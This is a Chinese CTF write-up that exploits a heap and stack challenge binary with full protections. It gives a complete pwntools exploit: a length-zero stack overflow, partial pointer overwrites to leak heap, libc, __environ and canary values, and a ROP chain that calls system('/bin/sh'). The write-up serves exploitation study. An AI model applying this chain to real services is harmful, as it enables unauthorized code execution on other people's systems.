1.常规checksec,保护全开。IDA打开找漏洞,在sub_BF0()函数,即读入name的函数中存在栈溢出漏洞:
利用结构体重整化
1 2 3 4 5 6 7 8 9 10 11 12
| #注释头
struct project{ int length; char name[length]; int check; int price; int area; int capactity; }project;
struct project* projects[0x10];
|
由于length是由用户输入影响的,那么结构体的大小也是不固定的,所以提出来固定的形成project_behind结构体方便查看:
1 2 3 4 5 6 7 8
| #注释头
struct project_behind{ int check; int price; int area; int capactity; }project_behind;
|
得到如下:
其实际意义就是读入length-1个字节,然后将最后一个字节设置为\x00。但是这里没有检查data_length,即如果传入的length为0,那么data_length由于是int类型,而i也是int类型,那么i从0开始加需要加0xfffff…..这么多才会抵达-1,相当于可以读入任意长度的字符串,造成栈溢出。
2.栈溢出,保护全开,canary把着栈溢出的口子,所以得先想办法泄露canary。
(1)题目虽然打印了name,但是打印的是堆上的name,没办法利用name连上canary来泄露。
(2)足够长的栈溢出,但是没有这个进程是fork创建,而不是进程pthread创建,所以没办法溢出足够长来覆盖TSL中的canary。
那么既然能控制栈,就从栈上入手,寻找add函数栈上的有用数据:
1 2 3 4 5 6 7
| #注释头
char *project; // [rsp+6Ah] [rbp-3Eh] ------------------------------------------------------------------- project = malloc(length + 21LL); -------------------------------------------------------------------- projects[idx] = project;
|
可以看到对IDA重整化之后的内容中,project变量位于栈上,里面保存着project这个chunk的首地址,最后会被放入projects这个数组中。所以如果我们修改掉project变量的内容,将其指向其它的地址,那就实现任意地址可写了。
3.但是这里保护全开,一个有用地址都没有。可以注意到project变量最后会保存一个堆地址,由于大端序,如果我们将这个堆地址的最后一个字节变成\x00,那么这个chunk就会指向第一个chunk,也就是project[0],如果第一个chunk处于释放状态,就可以通过程序的view函数来将这个chunk的fd指针打印出来。
4.由于使用溢出的前提条件是length为0,所以malloc(21)对应chunk大小为0x20,释放后会进入fastbins中,fastbins中chunk的fd保存下一个chunk的头地址。那么就可以打印出fd上的内容,泄露出堆地址。
5.现在可以控制堆内容了,那么通过正常手段申请几个chunk,在里面构造一个fakechunk,之后利用溢出漏洞控制这个fakechunk,将其释放掉,使其进入unsortedbin中。再利用溢出漏洞控制这个被释放的fakechunk,打印出其fd指针,就是main_aren+88的地址,从而泄露Libc地址。
6.现在有了libc地址和栈溢出,需要突破canary,突破口是environ这个变量。environ这个变量从程序加载时保存在libc数据段上,但是它的内容保存的是栈地址,所以我们就可以通过溢出漏洞打印出environ中的栈地址。得到栈地址之后就可以用gdb计算偏移,选取view函数栈上的canary,再利用溢出漏洞打印出canary的值。
7.之后有了libc,canary,栈溢出,就是常规的getshell了。
8.编写exp:
(1)前置增删改查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #注释头
def start_proj(length, name, price, area, capacity): io.sendlineafter("Exit\n", '1') io.sendlineafter("name: ", str(length)) io.sendlineafter("name: ", name) io.sendlineafter("price: ", str(price)) io.sendlineafter("area: ", str(area)) io.sendlineafter("capacity: ", str(capacity))
def view_proj(): io.sendlineafter("Exit\n", '2')
def cancel_proj(idx): io.sendlineafter("Exit\n", '4') io.sendlineafter("number: ", str(idx))
|
(2)泄露堆地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #注释头
def leak_heap(): global heap_base
start_proj(0, 'A', 1, 1, 1) #chunk0 start_proj(0, 'A'*0x5a, 1, 1, 1) #chunk1 #溢出一个字节,修改栈上project的最后一个字节为\x00,使其指向chunk0 start_proj(0, 'A', 1, 1, 1) #chunk2 cancel_proj(2) cancel_proj(0)
view_proj() #打印chunk1就相当于打印chunk0的内容,其中包含fd指针部分内容
io.recvuntil("Capacity: ") leak = int(io.recvline()[:-1], 10) & 0xffffffff heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56 #由于程序的关系,只能打印出0x55之后的内容,共4个字节,由于堆地址高位一般都是0x55或0x56,所以直接加上即可,最后还得乘上0x100,因为没有泄露出来,需要调试看看。
log.info("heap base: 0x%x" % heap_base)
|
(3)泄露libc地址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| #注释头
def leak_libc(): global libc_base
start_proj(0xf, 'A', 0xd1, 0, 0x64) #chunk0 #chunk0用来修改fakechunk的size位为0xd1,占位0x30,位于heap_base+0x60
start_proj(0x50, '\x01', 1, 1, 1) #chunk2 #chunk2占位0x70用,位于heap_base+0x90,'\x01'不知道干啥的,'\x00'随便啥都可以
start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) #chunk3 #chunk3用来修改fakechunk的size位,占位0x70,位于heap_base+0x100
start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) #chunk4 #chunk4修改chunk4指向heap_base+0x90,占位0x20,位于heap_base
start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) #chunk5 #chunk5占位0x20,修改chunk5指向heap_base+0x8b,位于heap_base+0x40
#将fakechunk放入unsortedbin中 cancel_proj(4) #获得libc地址 view_proj()
#由于一次只能泄露4个字节,所以需要两部分拼接 for i in range(5): io.recvuntil("Area: ") leak_low = int(io.recvline()[:-1], 10) & 0xffffffff io.recvuntil("Capacity: ") leak_high = int(io.recvline()[:-1], 10) & 0xffff libc_base = leak_low + (leak_high<<32) - 0x3c3b78
log.info("libc base: 0x%x" % libc_base)
|
①chunk0中的0x64用来过程序中删除project函数的检查:
if ( *(project + *project + 5) != 1 )
只要计算之后check为1即可,实测0x60也可以。
②chunk3中的\x21为了过glibc中的检查。
③chunk5为了填满之前的索引为2的project,方便之后运作。
(4)泄露canary:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #注释头
def leak_stack_canary(): global canary
environ_addr = libc.symbols['__environ'] + libc_base log.info("__environ address: 0x%x" % environ_addr)
start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4
view_proj() for i in range(5): io.recvuntil("Price: ") leak_low = int(io.recvline()[:-1], 10) & 0xffffffff io.recvuntil("Area: ") leak_high = int(io.recvline()[:-1], 10) & 0xffff stack_addr = leak_low + (leak_high<<32) canary_addr = stack_addr - 0x130
log.info("stack address: 0x%x" % stack_addr) log.info("canary address: 0x%x" % canary_addr)
start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6
view_proj() for i in range(7): io.recvuntil("Project: ") canary = (u64(io.recvline()[:-1] + "\x00"))<<8
log.info("canary: 0x%x" % canary)
|
(5)栈溢出覆盖返回地址为system,pop rdi传参getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #注释头
pop_rdi_ret = libc_base + 0x21102 bin_sh = libc_base + next(libc.search('/bin/sh\x00')) system_addr = libc_base + libc.symbols['system']
payload = "A" * 0x68 payload += p64(canary) # canary payload += "A" * 0x28 payload += p64(pop_rdi_ret) # return address payload += p64(bin_sh) payload += p64(system_addr) # system("/bin/sh")
start_proj(0, payload, 1, 1, 1)
io.interactive()
|
▲这道题需要很多调试的地方,容易头大崩溃。
参考资料:
ctf-all-in-one